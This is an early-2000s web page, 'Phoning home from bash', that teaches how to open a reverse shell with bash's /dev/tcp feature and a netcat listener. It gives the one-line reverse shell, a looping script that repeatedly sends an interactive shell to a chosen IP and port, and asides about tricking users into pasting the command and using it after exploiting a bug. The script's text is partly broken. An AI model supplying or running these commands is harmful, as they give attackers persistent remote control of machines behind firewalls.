Phoning Home From Bash

Phoning home from bash

Andrew at

Revision 0.0, 22 January 2002

Bash can create an outgoing connection to a netcat listener in one line of code. This is a reverse telnet session.

1. Why

There are a couple of possible applications for this technique (if your version of bash supports it):

  • A dial-up machine can yield control to a central agency when it arrives on the internet. (This is great if you trust your routers...)
  • Control of a machine behind certain types of firewall (`just copy and paste this to your command line, and I'll sort your problem out')
  • It's a really fun thing to run instead of idonce you have a non-interactive shell on a machine by using the perl open '|command' bug) (I have code which does this ...)
  • Nobody seems to have done it before. All the other solutions I have seen utilise two pipes and two instances of telnet or netcat on the server side. Scripting of telnet is prone to error because of delay conditions, and netcat may not be available on the client side (although if it is, netcat -e can get you quite far sometimes).

2. How to

2.1 Client side stuff

On the client side, netcat listens for an incoming call.

netcat -l -p 22222

2.2 Server side stuff

On the server side, an interactive bash session is started, with input, output and error messages redirected to an outgoing TCP connection.

bash -i >& /dev/tcp/ 0>&1

Probably your IP address is not (it's reserved) so you can replace that with your own IP address.

3. Bugs

  • Job control doesn't work, since there is no terminal.
  • Ctrl+C doesn't work so well.
  • It's only one line.
  • Some distributions compile bash without support for special /dev/tcp handling. Hack into an different distribution if this happens to you.

4. Script

Here's a script which phones us repeatedly - very nice for remote support through a firewall.

#! /bin/bash
WHOAMI="`whoami`@`hostname -f`"
echo "

// This script is sending a shell as the user
// $WHOAMI to the address
// $IP (port $PORT)

while true; do
        echo "`date`: Sending shell to $IP:$PORT"
                echo "Welcome, $WHOAMI"
                bash -i
        } <> /dev/tcp/$IP/$PORT 1>&0 2>&1 &
        sleep 10
Of course, you probably don't want to run this on your server without changing your IP addresses.

5. Licence

How do you licence one line of source code? You would have to be a little silly.

+27(0)11 656 4233
+27(0)72 597 0567
Woodmead Business Park
Ground Floor, Maple Place North
145 Western Service Road
Sandton 2196

View Map